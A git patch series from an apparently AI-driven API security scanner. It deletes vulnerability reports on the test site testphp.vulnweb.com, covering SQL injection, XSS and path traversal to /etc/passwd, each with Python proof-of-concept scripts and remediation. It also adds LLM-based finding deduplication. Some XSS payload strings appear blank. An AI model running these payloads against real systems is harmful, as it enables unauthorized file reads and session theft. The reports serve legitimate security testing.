status={union_resp.status_code}, len={len(union_resp.text)}") - - # Final summary - print("\n[Summary]") - print(" - Boolean oracle present (length diff true vs false)") - print(" - Time oracle present (~2s delay on IF true)") - print(" - Error-based extraction succeeded (version, database, user)") - -if __name__ == '__main__': - main() -``` - -## Remediation - -1) Replace dynamic SQL with parameterized queries/prepared statements everywhere the "artist" value is used. - - Example (PHP PDO): $stmt = $pdo->prepare("SELECT col1, col2, col3 FROM artists WHERE id = ?"); - $stmt->execute([$artist_id]); - -2) Enforce strict server-side input validation on numeric parameters. - - Reject non-digits, enforce integer type casting at the controller layer before any DB call. - -3) Remove dangerous in-band error channels. - - Do not return database error messages to end-users. Use generic errors and centralized logging. - - Avoid use of XML error functions (EXTRACTVALUE/UPDATEXML) entirely in application SQL. - -4) Principle of least privilege for DB users. - - Ensure the web application DB user has only the minimal SELECT/INSERT/UPDATE/DELETE permissions required; no administrative privileges. - -5) Add security controls and monitoring. - - Implement WAF rules to detect/block common SQLi patterns. - - Add regression tests for boolean/time-based SQLi and negative test cases on /artists.php and similar endpoints. - -6) Conduct code review across all DB access layers to ensure consistent parameter binding and input normalization. Roll out defensive coding guidelines and automated SAST checks. - diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md deleted file mode 100644 index 05ec708..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0003.md +++ /dev/null @@ -1,162 +0,0 @@ -# Information Disclosure via Publicly Accessible Database Initialization Script at /admin/create.sql - -**ID:** vuln-0003 -**Severity:** MEDIUM -**Found:** 2026-03-08 19:42:11 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /admin/create.sql -**Method:** GET -**CWE:** CWE-552 -**CVSS:** 5.3 - -## Description - -The application exposes a database initialization script at /admin/create.sql without authentication or access controls. Retrieving this file returns the SQL used to create and initialize the backend schema, including the database name and table/column definitions. This disclosure provides precise knowledge of the data model and materially accelerates targeted attacks (e.g., SQL injection payload crafting) against other endpoints. - -## Impact - -An unauthenticated attacker can download the database schema and leverage it to: -- Craft precise SQL injection payloads (correct table/column names, data types), increasing reliability and impact of exploitation -- Enumerate sensitive objects (e.g., pictures, forum messages) and infer business logic -- Aid lateral discovery of additional administrative or development artifacts - -Business impact includes increased likelihood of successful data exfiltration via SQL injection, targeted manipulation of application data, and reputational damage due to exposure of internal implementation details. - -## Technical Analysis - -Endpoint: GET http://testphp.vulnweb.com/admin/create.sql - -Behavior -- The endpoint returns a 200 OK with the contents of a SQL initialization script. -- Headers indicate a downloadable file rather than a rendered page. - -Observed evidence (proxy-captured) -- Request IDs: 322, 320, 244, 38 (all 200 OK; consistent behavior) -- Representative response headers (ID 322): - • Content-Type: application/octet-stream - • Content-Length: 523 - • Last-Modified: Wed, 11 May 2011 10:27:48 GMT - • ETag: "4dca64a4-20b" - -Content excerpt (ID 322 body; key lines) - create database waspart; - use waspart; - - CREATE TABLE IF NOT EXISTS forum( - sender CHAR(150), - mesaj TEXT, - senttime INTEGER(32)); - - CREATE TABLE IF NOT EXISTS artists( - artist_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, - aname CHAR(50), - adesc BLOB); - - CREATE TABLE IF NOT EXISTS categ( - cat_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, - cname CHAR(50), - cdesc BLOB); - - CREATE TABLE IF NOT EXISTS pictures( - pic_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT, - pshort BLOB, - plong TEXT, - price INTEGER, - img CHAR(50)); - -Risk amplification -- The leaked schema (DB: waspart; tables: forum, artists, categ, pictures) directly maps to active endpoints (e.g., /artists.php, /listproducts.php). Knowing exact column names (aname, adesc, price, img, etc.) allows an attacker to construct tailored SQL injection payloads, pivot to UNION/error-based extraction, and target high-value fields with minimal trial-and-error. - -## Proof of Concept - -To reproduce: - -1) Browser - - Navigate to: http://testphp.vulnweb.com/admin/create.sql - - Verify a 200 OK response and that a file download (or raw SQL text) is returned. - -2) curl - - Run: curl -i http://testphp.vulnweb.com/admin/create.sql - - Confirm headers include: - Content-Type: application/octet-stream - Content-Length: 523 - - Observe body begins with: - create database waspart; - use waspart; - CREATE TABLE IF NOT EXISTS forum(... - -3) Verification - - Confirm schema definitions for tables: - forum(sender, mesaj, senttime) - artists(artist_id, aname, adesc) - categ(cat_id, cname, cdesc) - pictures(pic_id, pshort, plong, price, img) - -``` -#!/usr/bin/env python3 -import re -import sys -import textwrap -import requests - -URL = "http://testphp.vulnweb.com/admin/create.sql" -TIMEOUT = 15 - -def main() -> int: - print(f"[.] Fetching: {URL}") - r = requests.get(URL, timeout=TIMEOUT) - print(f"[+] Status: {r.status_code}") - ctype = r.headers.get("Content-Type") - clen = r.headers.get("Content-Length") - lmod = r.headers.get("Last-Modified") - etag = r.headers.get("ETag") - print(f"[+] Headers: Content-Type={ctype}, Content-Length={clen}, Last-Modified={lmod}, ETag={etag}") - - body = r.text - print("[+] First 300 bytes of body:") - print(textwrap.shorten(body.replace("\\n", " "), width=300, placeholder=" ...")) - - # Extract database name and table names for quick verification - db_match = re.search(r"create\\s+database\\s+([a-zA-Z0-9_]+);", body, flags=re.IGNORECASE) - tables = re.findall(r"CREATE\\s+TABLE\\s+IF\\s+NOT\\s+EXISTS\\s+([a-zA-Z0-9_]+)\\s*\\(", body, flags=re.IGNORECASE) - if db_match: - print(f"[+] Database name: {db_match.group(1)}") - if tables: - print(f"[+] Tables: {', '.join(tables)}") - - # Simple assertion to confirm disclosure - if r.status_code == 200 and "create database" in body.lower(): - print("[+] Verified: SQL initialization script is publicly accessible.") - return 0 - else: - print("[-] Verification failed.") - return 1 - -if __name__ == "__main__": - sys.exit(main()) -``` - -## Remediation - -1) Remove or restrict access to administrative artifacts - - Remove /admin/create.sql from the web-accessible directory, or - - Restrict /admin/ and /admin/create.sql behind authentication and IP allowlists (deny-by-default). - -2) Harden deployment packaging - - Exclude development and initialization scripts from production builds. - - Validate artifact lists in CI/CD to prevent accidental publication of admin/config files. - -3) Web server hardening - - Enforce directory-level access controls for administrative paths. - - Disable autoindexing; serve a 403 for sensitive file extensions (.sql, .bak, .old, .zip). - -4) Defense-in-depth - - Implement a WAF rule to block direct access to known sensitive file patterns where feasible. - - Monitor and alert on access to administrative paths and unusual file extensions. - -5) Follow-on actions - - Rotate any credentials or secrets that may be present in leaked artifacts (not observed here, but recommended). - - Conduct a targeted review for similar exposures (e.g., /admin/, backups, temp files, source maps). - -After remediation, validate by attempting unauthenticated access to /admin/create.sql and verifying that it returns 403/404 and that the file is no longer retrievable. - diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md deleted file mode 100644 index 629bca0..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0004.md +++ /dev/null @@ -1,136 +0,0 @@ -# Reflected Cross-Site Scripting (XSS) in POST /search.php ‘searchFor’ parameter - -**ID:** vuln-0004 -**Severity:** MEDIUM -**Found:** 2026-03-08 19:46:31 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /search.php -**Method:** POST -**CWE:** CWE-79 -**CVSS:** 6.1 - -## Description - -The application’s “search art” form posts user-supplied input to /search.php?test=query and reflects the value of the parameter searchFor directly into the rendered HTML without context-appropriate output encoding. Injecting an IMG element with an onerror handler results in immediate JavaScript execution in the victim’s browser. - -Validation evidence (this engagement): -- A tokenized IMG/onerror payload was submitted via POST to /search.php?test=query. -- The resulting page executed the payload, setting a DOM attribute on (xss_search="1772998927236"). -- The browser initiated an HTTP GET to /xssprobe?ts=1772998927236, confirming client-side code execution. -- An earlier run produced the same behavior with token 1772998317359. - -This confirms a reflected XSS vulnerability in the search results page that executes attacker-controlled script in the context of the application’s origin. - -## Impact - -Exploitation enables execution of arbitrary JavaScript in users’ browsers under the site’s origin. Practical impacts include: -- Theft of session identifiers and account takeover -- CSRF bypass chaining and unauthorized state changes -- Content manipulation/phishing within the trusted UI -- Exfiltration of sensitive data accessible to the victim’s session -- Installation of malicious client-side logic (e.g., keylogging, request forgeries) - -Business impact: compromise of user accounts and data, reputational damage, and potential regulatory exposure depending on data handled. - -## Technical Analysis - -Root cause -The value of the POST parameter searchFor is reflected into the search results page without HTML-encoding or sanitization. When the attacker supplies an image element whose src is invalid (e.g., “x”), the browser fires the onerror handler, executing attacker-controlled JavaScript in the page context. - -Observed behavior -- On submitting a payload of the form , the rendered search page sets body[xss_search="TOKEN"] and the browser performs a GET to /xssprobe?ts=TOKEN. -- The “searched for:” section displays the injected IMG node, indicating the input is included in the HTML response rather than safely encoded. - -Security significance -Because the script executes within the site’s origin, it can access session-bound data and perform actions on behalf of the victim. The reflected nature of the flaw allows exploitation through crafted links or attacker-controlled forms that auto-submit to the vulnerable endpoint. - -## Proof of Concept - -Reproduction steps -1) Navigate to: http://testphp.vulnweb.com/ -2) In the left sidebar “search art” form (method POST, action /search.php?test=query), set the “searchFor” field to a unique, tokenized payload: - - Replace TOKEN with a unique value (e.g., current timestamp). -3) Submit the form (go). -4) Confirm execution: - - In the rendered results page, verify that the element has attribute xss_search="TOKEN". - - Observe the browser issuing an HTTP GET to /xssprobe?ts=TOKEN, confirming the onerror handler executed. - -Notes -- The IMG src is intentionally invalid, ensuring the onerror handler runs reliably. -- Different tokens will reproduce the behavior consistently. - -``` -#!/usr/bin/env python3 -""" -Reflected XSS PoC for POST /search.php (action includes query param test=query) -- Submits a tokenized IMG/onerror payload via 'searchFor' -- Confirms unsanitized reflection in HTML response -- Provides instructions to verify DOM marker and /xssprobe beacon in a real browser -""" - -import time -import requests - -BASE = "http://testphp.vulnweb.com" -ENDPOINT = f"{BASE}/search.php?test=query" - -def exploit(token: str | None = None) -> dict: - if token is None: - token = str(int(time.time() * 1000)) - - payload = f"" - data = { - "searchFor": payload, - "goButton": "go" - } - - resp = requests.post(ENDPOINT, data=data, timeout=15) - reflected = ("onerror=" in resp.text) and (token in resp.text) - - print("[*] POSTed to:", ENDPOINT) - print("[*] Status:", resp.status_code, "Length:", len(resp.text)) - if reflected: - print("[+] Payload appears unsanitized in server HTML (reflection detected).") - else: - print("[!] Reflection not obvious in raw HTML; execution is still expected in a browser context.") - - print("[*] Token:", token) - print("[*] Manual verification:") - print(f" - Open the application UI and submit the same payload to trigger JS execution") - print(f" - Inspect the DOM for body[xss_search=\"{token}\"]") - print(f" - Observe the browser request to /xssprobe?ts={token}") - - return { - "status": resp.status_code, - "length": len(resp.text), - "token": token, - "reflected_in_html": reflected - } - -if __name__ == "__main__": - exploit() -``` - -## Remediation - -Implement layered defenses: -1) Contextual output encoding - - HTML-encode all user-controlled data before inserting into HTML (e.g., use htmlspecialchars/ENT_QUOTES in PHP templates). - - Apply the correct encoder per sink (HTML, attribute, URL, JavaScript). - -2) Input handling - - Reject or sanitize active content (HTML tags/attributes) where rich text is not required. - - If rich text is needed, use a vetted HTML sanitizer with a strict allowlist. - -3) Content Security Policy (CSP) - - Enforce a strict CSP that disallows inline scripts and event handlers; use nonces or hashes for allowed scripts. - - Deny data: and javascript: URL schemes. - -4) Security testing and regression - - Add automated tests to assert that search results encode user input safely. - - Review adjacent features for similar reflection patterns. - -5) Incident hygiene - - Monitor and purge any stored or cached malicious payloads that may be re-served to users. - diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md deleted file mode 100644 index 8979322..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0005.md +++ /dev/null @@ -1,125 +0,0 @@ -# Path Traversal (Local File Inclusion) in /showimage.php 'file' parameter allows arbitrary local file read - -**ID:** vuln-0005 -**Severity:** HIGH -**Found:** 2026-03-08 19:47:21 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /showimage.php -**Method:** GET -**CWE:** CWE-22 -**CVSS:** 7.5 - -## Description - -The image-serving endpoint exposes a Local File Inclusion (path traversal) vulnerability. The GET parameter 'file' is used server-side to read and stream a file back to the client without proper canonicalization or allowlisting. By supplying traversal sequences, an unauthenticated attacker can coerce the server to read sensitive files outside the intended images directory. - -Evidence collected through the testing proxy confirms successful disclosure of /etc/passwd and error messages indicating unsafe file handling with PHP functions (fopen/fpassthru). The issue is reachable without authentication and requires no user interaction. - -## Impact - -Exploitation enables arbitrary file read from the server filesystem within the PHP runtime’s accessible paths, exposing: -- Operating system and service accounts (/etc/passwd) -- Application source code, configuration files, credentials, and keys -- Infrastructure details from error messages (absolute paths, stack locations) - -This materially increases the risk of full application compromise via credential/key leakage, environment reconnaissance, and chained attacks (e.g., reading database credentials or API keys). Business impact includes data exposure, lateral movement potential, and reputational harm. - -## Technical Analysis - -Additional evidence excerpts (for reference): -- ID 486 response snippet (../../etc/passwd): - "root:x:0:0:root:/root:/bin/bash" -- ID 487 response snippet (../../../../../etc/hosts): - "Warning: fopen(): open_basedir restriction in effect ... in /hj/var/www/showimage.php on line 13" -- ID 488 wrapper attempt: - Request accepted (200) but no readable body returned. - -## Proof of Concept - -To reproduce: - -1) Baseline control - - Send: GET /showimage.php?file=images/logo.gif - - Observe: 200 OK, image content - -2) Read a sensitive file using path traversal - - Send: GET /showimage.php?file=../../etc/passwd - - Expect: 200 OK with text content containing “root:x:0:0:root:/root:/bin/bash” and other passwd entries - -3) Optional additional evidence - - Send: GET /showimage.php?file=../../../../../etc/hosts - - Observe: 200 OK with PHP warnings indicating fopen/fpassthru and an open_basedir message disclosing the script path (e.g., “/hj/var/www/showimage.php on line 13”) - -Notes -- Evidence gathered via proxy: Baseline ID 483; /etc/passwd read at ID 486; /etc/hosts warnings at ID 487; wrapper attempt at ID 488. - -``` -import requests -from urllib.parse import urljoin - -BASE = "http://testphp.vulnweb.com" -ENDPOINT = "/showimage.php" -TIMEOUT = 15 - -def fetch(path_param: str) -> tuple[int, str, int, str]: - url = urljoin(BASE, ENDPOINT) - resp = requests.get(url, params={"file": path_param}, timeout=TIMEOUT) - status = resp.status_code - ctype = resp.headers.get("Content-Type", "") - body = resp.text - length = len(body) - snippet = body[:300].replace("\n", "\\n") - return status, ctype, length, snippet - -def main() -> int: - print("[*] Baseline request") - s, t, l, sn = fetch("images/logo.gif") - print(f"Status={s} Type={t} Length={l}") - - print("[*] Attempting LFI: ../../etc/passwd") - s2, t2, l2, sn2 = fetch("../../etc/passwd") - print(f"Status={s2} Type={t2} Length={l2}") - print("Snippet:", sn2) - if "root:x:0:0:" in sn2 or "/bin/bash" in sn2: - print("[+] LFI confirmed: passwd markers detected") - else: - print("[-] passwd markers not found (check full body manually)") - - print("[*] Optional: probing etc/hosts for warning/path leakage") - s3, t3, l3, sn3 = fetch("../../../../../etc/hosts") - print(f"Status={s3} Type={t3} Length={l3}") - print("Snippet:", sn3) - - return 0 - -if __name__ == "__main__": - raise SystemExit(main()) -``` - -## Remediation - -Implement strict path handling and remove user control over file system paths: - -1) Replace path-based fetching with identifier-based retrieval - - Store media in a fixed directory or object storage. - - Accept an ID or filename key; look up the canonical path server-side. - -2) Canonicalize and enforce directory bounds - - Resolve the requested filename using realpath/canonicalize. - - Verify the resolved path starts with the intended media root (e.g., /var/app/media/). - - Reject any request that does not remain within the allowlisted directory. - -3) Deny dangerous inputs and wrappers - - Explicitly block traversal sequences (“../”, “..\\”), absolute paths, and path control characters. - - Disallow PHP stream wrappers (php://, file://, expect://, zip://) at the application layer. - -4) Enforce a positive allowlist - - Only serve files with approved extensions (e.g., .jpg, .png) and map to known files. - -5) Defense in depth - - Ensure open_basedir and filesystem permissions prevent reading outside the media root. - - Return safe content types and set X-Content-Type-Options: nosniff. - - Log and alert on blocked traversal attempts; add unit/integration tests for traversal cases. - -After deploying fixes, retest using the same payloads to verify that ../../etc/passwd and other traversal inputs are rejected with 4xx responses and no sensitive data is returned. - diff --git a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md b/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md deleted file mode 100644 index 8c7c6d5..0000000 --- a/strix_runs/testphp-vulnweb-com_0810/vulnerabilities/vuln-0006.md +++ /dev/null @@ -1,163 +0,0 @@ -# Reflected XSS in /hpp/params.php 'p' parameter (single and duplicate-key HPP variants) - -**ID:** vuln-0006 -**Severity:** MEDIUM -**Found:** 2026-03-08 19:47:23 UTC -**Target:** http://testphp.vulnweb.com -**Endpoint:** /hpp/params.php -**Method:** GET -**CWE:** CWE-79 -**CVSS:** 6.1 - -## Description - -A reflected cross-site scripting (XSS) vulnerability exists in the GET parameter "p" of /hpp/params.php. The application reflects the value of "p" into the HTML response without context-appropriate output encoding, allowing an attacker to inject HTML/JavaScript that executes in the victim’s browser. - -Two exploitation modes were validated: -1) Single-parameter injection: Supplying a crafted value for p directly leads to script execution via an IMG onerror event. -2) HTTP Parameter Pollution (HPP) duplicate-key variant: Supplying multiple p parameters (e.g., p=safe&p={payload}) results in the last p value being used and reflected, enabling XSS even when earlier values appear benign. - -Execution was confirmed by setting a DOM marker (body attribute) and observing a tokenized network beacon from the victim’s browser to the target host, demonstrating reliable exploitation. - -## Impact - -Successful exploitation allows arbitrary JavaScript execution in the victim’s browser within the context of the target origin. An attacker can steal session identifiers and sensitive data, perform unauthorized actions on behalf of the user, deface content, and pivot to further attacks (e.g., CSRF chaining). - -The duplicate-parameter (HPP) variant increases practical exploitability by bypassing naive server-side parsing or upstream defenses that examine only the first occurrence of a parameter. Targeted phishing or link-sharing is sufficient to trigger exploitation (user interaction: click/follow a link). - -## Technical Analysis - -Root cause -- The endpoint /hpp/params.php reflects the GET parameter "p" into the HTML response without applying context-appropriate output encoding/sanitization. This enables injection of HTML attributes and event handlers (e.g., IMG onerror), which execute in the victim’s browser. - -Confirmed behaviors -- Reflection: The raw content of p is echoed in the page, including HTML/JS payloads. -- Duplicate parameter handling: When multiple p parameters are supplied, the last value is used (“last wins”), enabling HPP-based XSS (e.g., p=safe&p={payload}). -- Execution evidence: A tokenized payload set a DOM attribute on (hppxss=TOKEN) and triggered a browser fetch to a tokenized URL, confirming JavaScript execution. - -Proxy evidence (captured during validation) -- Exploit request (single-parameter variant): Request ID 414 - Example path: /hpp/params.php?p="> -- Beacon confirming script execution: Request ID 416 - Path: /xssprobe?tok=1772998732392 (404 returned as expected by the target; presence in proxy confirms the onerror handler executed) - -Technical notes -- Reflection context allows attribute/event-handler injection; no CSP restrictions prevented inline event execution at the time of testing. -- The duplicate-key HPP vector (p=safe&p={payload}) yields the attacker-controlled value being reflected/executed, which can circumvent simplistic filtering or input validation that inspects only the first parameter occurrence. - -## Proof of Concept - -Reproduction (single-parameter variant) -1) Prepare a unique token (e.g., current timestamp). Example TOKEN=1772998732392. -2) Craft the URL: - http://testphp.vulnweb.com/hpp/params.php?p="> - Ensure the full payload is URL-encoded when delivering to victims. -3) Open the URL in a browser. -4) Observe: - - The DOM marker appears on (attribute hppxss=TOKEN). - - The browser issues a GET to /xssprobe?tok=TOKEN (visible in an intercepting proxy), confirming execution. - -Reproduction (duplicate-parameter HPP variant) -1) Use the same TOKEN. -2) Craft the URL: - http://testphp.vulnweb.com/hpp/params.php?p=safe&p="> -3) Open in a browser. -4) Observe the same effects as above (body attribute set; tokenized beacon captured in proxy). - -``` -import time -import sys -from urllib.parse import quote_plus -# Optional Selenium-based verification of DOM marker (requires: pip install selenium webdriver-manager) -try: - from selenium import webdriver - from selenium.webdriver.chrome.options import Options - from webdriver_manager.chrome import ChromeDriverManager - SELENIUM_AVAILABLE = True -except Exception: - SELENIUM_AVAILABLE = False - -BASE = "http://testphp.vulnweb.com" -ENDPOINT = "/hpp/params.php" - -def build_payload(token: str) -> str: - # IMG onerror sets a DOM attribute and triggers a tokenized beacon to confirm execution - return f'">' - -def build_urls(token: str): - payload = build_payload(token) - enc = quote_plus(payload) - single = f"{BASE}{ENDPOINT}?p={enc}" - dup = f"{BASE}{ENDPOINT}?p=safe&p={enc}" - return single, dup - -def selenium_verify(token: str, url: str) -> bool: - if not SELENIUM_AVAILABLE: - print("[!] Selenium not available. Skipping DOM verification step.") - return False - opts = Options() - # Headless Chrome; adjust as needed - opts.add_argument("--headless=new") - opts.add_argument("--disable-gpu") - opts.add_argument("--no-sandbox") - driver = webdriver.Chrome(ChromeDriverManager().install(), options=opts) - try: - driver.set_page_load_timeout(20) - driver.get(url) - # Check DOM marker placed by payload's onerror handler - val = driver.execute_script("return document.body && document.body.getAttribute('hppxss');") - print(f"[DOM] body[hppxss] = {val}") - return str(val) == str(token) - finally: - driver.quit() - -def main(): - token = str(int(time.time() * 1000)) - single, dup = build_urls(token) - print("[*] Reflected XSS PoC for /hpp/params.php 'p' parameter") - print(f"[*] Token: {token}") - print("[*] Single-parameter URL:") - print(single) - print("[*] Duplicate-parameter (HPP) URL:") - print(dup) - print() - print("[*] Open these URLs in a browser (or let Selenium navigate) to trigger the payload.") - print("[*] Expectation:") - print(" - DOM attribute body[hppxss] is set to the exact token.") - print(" - The browser issues GET /xssprobe?tok={token} (confirm via your intercepting proxy).") - print() - - # Attempt automated DOM verification with Selenium (optional) - ok_single = selenium_verify(token, single) - ok_dup = selenium_verify(token, dup) - - print(f"[RESULT] Single-param DOM marker match: {ok_single}") - print(f"[RESULT] Duplicate-param DOM marker match: {ok_dup}") - print() - print("[NOTE] The tokenized beacon to /xssprobe?tok={token} should appear in your proxy logs during execution.") - print(" This PoC does not rely on server-side responses beyond the reflection behavior.") - -if __name__ == "__main__": - sys.exit(main()) -``` - -## Remediation - -Apply a defense-in-depth remediation plan: -1) Context-aware output encoding - - Encode untrusted data before rendering in HTML. For plain HTML contexts, use server-side encoding equivalent to htmlspecialchars with ENT_QUOTES. For attribute/URL/JS contexts, apply the correct encoder for that sink. Never reflect raw parameter values. - -2) Strict parameter parsing and HPP hardening - - Do not rely on $_REQUEST; explicitly read from the intended source (GET for reads, POST for writes). - - Normalize and validate query parameters server-side; reject duplicate keys unless explicitly designed as arrays. If arrays are accepted, encode each element safely and avoid direct echoing. - -3) Input validation - - Enforce an allowlist for expected formats/types (e.g., alphanumerics with length limits) and reject payloads containing HTML/JS metacharacters for fields that should be plain text. - -4) Content Security Policy (CSP) - - Deploy a strict CSP to reduce impact if an encoding lapse occurs. Disallow inline script and event handlers (e.g., script-src with nonces/hashes and no 'unsafe-inline'). - -5) Security testing and regression coverage - - Add automated tests to verify that reflected parameters are safely encoded and that duplicate-key handling does not bypass validation/encoding layers. - - Monitor and alert on repeated access patterns containing suspicious characters (<>"' on parameters). - From e8e72ee77108369a434f9d73eff0901b4acb46d4 Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 12:36:45 +0100 Subject: [PATCH 3/8] feat(recon): Implement pre-generation active API discovery - Added allowing for active probing before test case generation - Extracts dynamic undocumented endpoints into the baseline SchemaStructure - Allows the AI to view these undocumented endpoints natively --- src/secnodeapi/ai/__init__.py | 3 +- src/secnodeapi/ai/llm_client.py | 9 ++- src/secnodeapi/ai/validate.py | 74 +++++++++++++++++ src/secnodeapi/cli.py | 4 + src/secnodeapi/services/pipeline.py | 70 ++++++---------- src/secnodeapi/services/recon.py | 120 ++++++++++++++++++++++++++++ 6 files changed, 232 insertions(+), 48 deletions(-) create mode 100644 src/secnodeapi/services/recon.py diff --git a/src/secnodeapi/ai/__init__.py b/src/secnodeapi/ai/__init__.py index 8609bb4..b758ed3 100644 --- a/src/secnodeapi/ai/__init__.py +++ b/src/secnodeapi/ai/__init__.py @@ -4,11 +4,12 @@ from .generate import generate_test_cases from .understand import understand_api_with_ai -from .validate import classify_findings, validate_findings_with_ai +from .validate import classify_findings, validate_findings_with_ai, deduplicate_findings_with_ai __all__ = [ "understand_api_with_ai", "generate_test_cases", "classify_findings", "validate_findings_with_ai", + "deduplicate_findings_with_ai", ] diff --git a/src/secnodeapi/ai/llm_client.py b/src/secnodeapi/ai/llm_client.py index 3a7aa02..11fba76 100644 --- a/src/secnodeapi/ai/llm_client.py +++ b/src/secnodeapi/ai/llm_client.py @@ -39,7 +39,14 @@ async def call_llm(system_prompt: str, user_prompt: str, temperature: float = 0. completion_kwargs["api_base"] = api_base elif provider == "nebius": # Nebius is OpenAI-compatible and requires its specific base URL - completion_kwargs["api_base"] = "https://api.tokenfactory.nebius.com/v1/" + # LiteLLM requires 'openai/' prefix for compatible endpoints + if "/" in model: + _, model_name = model.split("/", 1) + completion_kwargs["model"] = f"openai/{model_name}" + + api_base = os.getenv("NEBIUS_API_BASE", "https://api.tokenfactory.nebius.com/v1/").strip() + if api_base: + completion_kwargs["api_base"] = api_base completion_kwargs["api_key"] = os.getenv("NEBIUS_API_KEY", "") response = await acompletion( diff --git a/src/secnodeapi/ai/validate.py b/src/secnodeapi/ai/validate.py index 67892cd..8bba45e 100644 --- a/src/secnodeapi/ai/validate.py +++ b/src/secnodeapi/ai/validate.py @@ -208,3 +208,77 @@ async def validate_findings_with_ai(results: List[TestResult]) -> List[Finding]: """Backwards-compatible wrapper returning only confirmed findings.""" confirmed, _ = await classify_findings(results) return confirmed + + +class AIDeduplicationCluster(BaseModel): + reasoning: str + test_case_ids: List[str] + +class AIDeduplicationPayload(BaseModel): + clusters: List[AIDeduplicationCluster] + + +async def deduplicate_findings_with_ai(findings: List[Finding]) -> List[Finding]: + """Analyze confirmed findings to merge duplicates sharing the exact same root cause.""" + if len(findings) <= 1: + return findings + + logger.info("Running AI deduplication analysis", count=len(findings)) + + summarized_findings = [] + for f in findings: + summarized_findings.append({ + "test_case_id": f.test_case_id, + "endpoint": f.endpoint, + "method": f.method, + "vulnerability_class": f.vulnerability_class, + "description": f.description, + "remediation": f.remediation, + }) + + sys_prompt = ( + "You are a senior AppSec engineer triaging a list of validated API vulnerabilities. " + "Your goal is to deduplicate findings that represent the EXACT same underlying root cause and require the exact same fix. " + "For example, multiple BOLA findings on `/api/users/1` and `/api/users/2` share the exact same root cause. " + "Group them into clusters. " + "Return ONLY valid JSON with the exact schema:\n" + '{"clusters": [{"reasoning": "str explaining why these represent the same root cause", "test_case_ids": ["id1", "id2"]}]}' + "Every single finding from the input MUST belong to exactly one cluster. If a finding is unique, it should be in a cluster by itself." + ) + user_prompt = f"Validated Findings to cluster:\n{json.dumps(summarized_findings, indent=2)}" + + try: + llm_resp = await call_llm(sys_prompt, user_prompt, temperature=0.1) + payload = AIDeduplicationPayload.model_validate(json.loads(llm_resp)) + + finding_map = {f.test_case_id: f for f in findings} + deduplicated: List[Finding] = [] + + for cluster in payload.clusters: + cluster_findings = [ + finding_map[tid] for tid in cluster.test_case_ids if tid in finding_map + ] + if not cluster_findings: + continue + + if len(cluster_findings) > 1: + logger.info("AI Merge Decision", reasoning=cluster.reasoning, merged_count=len(cluster_findings), kept_id=cluster_findings[0].test_case_id) + + # Keep the finding with the highest CVSS or confidence + top_finding = sorted( + cluster_findings, + key=lambda x: (x.cvss_score, x.confidence), + reverse=True + )[0] + deduplicated.append(top_finding) + + if len(deduplicated) > 0 and len(deduplicated) <= len(findings): + logger.info("AI deduplication complete", original=len(findings), final=len(deduplicated)) + return deduplicated + + except (json.JSONDecodeError, ValidationError) as e: + logger.warning("AI deduplication schema validation failed", error=str(e)) + except Exception as e: + logger.warning("AI deduplication evaluation failed", error=str(e)) + + return findings diff --git a/src/secnodeapi/cli.py b/src/secnodeapi/cli.py index 7c8131b..81b2b2c 100644 --- a/src/secnodeapi/cli.py +++ b/src/secnodeapi/cli.py @@ -40,6 +40,7 @@ validate_and_retest, write_report, ) +from .ai import deduplicate_findings_with_ai from .services.controller import ControllerService from .test_executor import execute_proactive_tests @@ -323,6 +324,9 @@ async def _run_full_pipeline(args, pipeline_input: PipelineInput) -> None: proxy=pipeline_input.proxy, verify_ssl=pipeline_input.verify_ssl, ) + + findings = await deduplicate_findings_with_ai(findings) + report = build_report(api_structure.title, findings) output_dir = write_report(report, args.target) logger.info("SecNode pipeline completed successfully", output_dir=output_dir) diff --git a/src/secnodeapi/services/pipeline.py b/src/secnodeapi/services/pipeline.py index d4b0a7d..0f2dc06 100644 --- a/src/secnodeapi/services/pipeline.py +++ b/src/secnodeapi/services/pipeline.py @@ -12,6 +12,7 @@ from ..ai import ( classify_findings, + deduplicate_findings_with_ai, generate_test_cases, understand_api_with_ai, validate_findings_with_ai, @@ -162,48 +163,10 @@ def _apply_identity_variants( return variants -def _mutate_path(path: str) -> List[str]: - mutations = set() - stripped = path.rstrip("/") - if "/v1/" in stripped: - mutations.add(stripped.replace("/v1/", "/v2/", 1)) - if not stripped.endswith("/admin"): - mutations.add(f"{stripped}/admin") - if "{id}" in stripped: - mutations.add(stripped.replace("{id}", "1")) - mutations.add(stripped.replace("{id}", "2")) - return [m for m in mutations if m and m != path] - - -def _build_discovery_tests(endpoints: List[APIEndpoint]) -> List[TestCase]: - discovery_tests: List[TestCase] = [] - for idx, endpoint in enumerate(endpoints): - existing_method = endpoint.method.upper() - for probe_method in ("GET", "POST", "PUT", "DELETE"): - if probe_method == existing_method: - continue - discovery_tests.append( - TestCase( - id=f"DISCOVER-{idx}-{probe_method}", - name="Method probing", - description="Probe undocumented method support", - owasp_category="API9: Improper Inventory Management", - endpoint=endpoint.path, - method=probe_method, - ) - ) - for mutation_idx, mutated_path in enumerate(_mutate_path(endpoint.path)): - discovery_tests.append( - TestCase( - id=f"MUTATE-{idx}-{mutation_idx}", - name="Path mutation", - description="Probe possible shadow or alternate API path", - owasp_category="API9: Improper Inventory Management", - endpoint=mutated_path, - method="GET", - ) - ) - return discovery_tests + + + + def _extract_candidate_ids(response_body: str) -> List[str]: @@ -318,10 +281,8 @@ async def run_agent_pipeline( """ api_structure, seed_tests = await 